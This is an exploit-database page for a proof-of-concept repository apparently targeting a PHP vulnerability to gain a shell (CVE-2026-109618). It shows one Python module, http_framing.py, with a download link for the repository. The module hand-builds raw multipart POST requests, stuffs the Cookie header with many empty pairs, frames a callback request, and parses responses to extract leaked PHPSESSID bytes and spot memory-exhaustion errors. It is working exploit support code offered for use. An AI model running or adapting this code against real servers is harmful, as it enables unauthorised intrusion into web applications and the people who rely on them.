Exploit database

GH-293bdf46c35b1edd035370df3bfb8cde

djad04/php2shell-deep-dive

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

413 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
djad04/php2shell-deep-diveRevision cf5dc0e82f73

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/http_framing.py

Python · 4,866 bytes
"""HTTP framing, socket management, and target parsing."""

from __future__ import annotations

import hashlib
import http.client
import socket
import ssl
import urllib.parse
from dataclasses import dataclass
from calibration import PHP_VERSION, MAX_RESPONSE_BYTES


@dataclass(frozen=True)
class Target:
    """Parsed target endpoint."""

    scheme: str
    host: str
    port: int
    path: str

    @property
    def host_header(self) -> str:
        default = 443 if self.scheme == "https" else 80
        return self.host if self.port == default else f"{self.host}:{self.port}"

    def connect(self) -> socket.socket:
        tcp = socket.create_connection((self.host, self.port), timeout=20)
        if self.scheme == "https":
            try:
                tcp = ssl.create_default_context().wrap_socket(
                    tcp, server_hostname=self.host)
            except BaseException:
                tcp.close()
                raise
        tcp.settimeout(20)
        return tcp


def parse_target(url: str) -> Target:
    """Parse a URL into a Target."""
    p = urllib.parse.urlsplit(url)
    return Target(p.scheme or "http", p.hostname or "localhost",
                  p.port or (443 if p.scheme == "https" else 80),
                  p.path or "/")


def sha256(data: bytes) -> str:
    return hashlib.sha256(data).hexdigest()


def mp_field(boundary: bytes, name: bytes, value: bytes = b"",
             filename: bytes | None = None) -> bytes:
    hdr = (b"--" + boundary +
           b'\r\nContent-Disposition: form-data; name="' + name + b'"')
    if filename is not None:
        hdr += b'; filename="' + filename + b'"'
    return hdr + b"\r\n\r\n" + value + b"\r\n"


def close_multipart(fields: list[bytes], boundary: bytes, limit: int) -> bytes:
    """Close the multipart body and enforce the size cap."""
    body = b"".join(fields) + b"--" + boundary + b"--\r\n"
    if not 0 < len(body) < limit:
        raise ValueError(f"Multipart body size {len(body)} exceeds limit")
    return body


def _cookie_tag(idx: int) -> str:
    alpha = "0123456789abcdefghijklmnopqrstuvwxyz"
    return alpha[(idx // 36) % 36] + alpha[idx % 36]


def http_frame(target: Target, body: bytes, boundary: bytes, *,
               cookie_pairs: int = 0, close: bool = True) -> bytes:
    """Frame a producer or consumer as a raw HTTP/1.1 request."""
    lines = [f"POST {target.path} HTTP/1.1",
             f"Host: {target.host_header}",
             "Connection: close" if close else "Connection: keep-alive",
             f"Content-Length: {len(body)}",
             "Content-Type: multipart/form-data; boundary=" + boundary.decode("ascii")]
    if cookie_pairs:
        lines.append("Cookie: " + "".join(
            _cookie_tag(n) + "=;" for n in range(cookie_pairs)))
    return ("\r\n".join(lines) + "\r\n\r\n").encode("ascii") + body


def final_http_frame(target: Target, body: bytes, boundary: bytes) -> bytes:
    """Frame the callback request."""
    lines = [f"POST {target.path} HTTP/1.1",
             f"Host: {target.host_header}",
             "Accept-Encoding: identity",
             f"Content-Length: {len(body)}",
             "Content-Type: multipart/form-data; boundary=" + boundary.decode("ascii"),
             "Connection: close"]
    return ("\r\n".join(lines) + "\r\n\r\n").encode("ascii") + body


class RecordingReader:
    """Tee wrapper that captures all bytes read from a stream."""

    def __init__(self, inner):
        self.inner = inner
        self.chunks: list[bytes] = []

    def read(self, *args, **kwargs):
        data = self.inner.read(*args, **kwargs)
        self.chunks.append(data)
        return data

    def readline(self, *args, **kwargs):
        data = self.inner.readline(*args, **kwargs)
        self.chunks.append(data)
        return data

    def close(self):
        pass


class SharedSocket:
    """Adaptor: hands the same stream to multiple HTTPResponse instances."""

    def __init__(self, reader):
        self.reader = reader

    def makefile(self, *_a, **_kw):
        return self.reader


def receive(shared: SharedSocket) -> tuple[dict, bytes, bytes]:
    """Read one HTTP response and extract the PHPSESSID cookie value."""
    resp = http.client.HTTPResponse(shared)
    resp.begin()
    body = resp.read(MAX_RESPONSE_BYTES)

    set_cookie = resp.getheader("Set-Cookie") or ""
    encoded = (set_cookie.split("PHPSESSID=", 1)[1].split(";", 1)[0]
               if "PHPSESSID=" in set_cookie else "")
    cookie = urllib.parse.unquote_to_bytes(encoded.replace("+", " "))

    rec = {"status": resp.status,
           "powered_by": resp.getheader("X-Powered-By"),
           "response_bytes": len(body), "body_sha256": sha256(body),
           "oom": b"Allowed memory size" in body and b"exhausted" in body,
           "cookie_bytes": len(cookie)}
    return rec, cookie, body